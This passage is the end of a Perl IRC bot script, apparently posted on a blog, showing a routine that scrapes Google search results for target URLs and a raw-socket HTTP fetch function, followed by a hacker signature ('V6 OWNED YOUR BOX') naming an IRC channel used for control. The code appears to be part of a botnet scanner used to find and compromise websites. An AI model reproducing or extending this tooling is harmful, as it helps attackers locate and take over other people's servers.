    $query.=$str[(rand(scalar(@str)))];
    $query.="&num=$n&start=$s";
    my @lst=();
#sendraw("privmsg #Morgan :DEBUG only test googling: ".$query."");
    my $page = http_query($query);
    while ($page =~  m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
if ($1 !~ m/google|cache|translate/){
    push (@lst,$1);
}
    }
    return (@lst);
}

sub http_query($){
    my ($url) = @_;
    my $host=$url;
    my $query=$url;
    my $page="";
    $host =~ s/href=\"?http:\/\///;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query =~s/$host//;
    if ($query eq "") {$query="/";};
    eval {
local $SIG{ALRM} = sub { die "1";};
alarm 10;
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
alarm 0;
close($sock);
    };

   return $page;
}
}
# V6 OWNED YOUR BOX
# www.priv8.com.ar
# irc.gigachat.net - #Morgan

# NOTE: DONT REMOVE COPYRIGHTS
Read more »
These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Furl
  • Reddit
  • Spurl
  • StumbleUpon
  • Technorati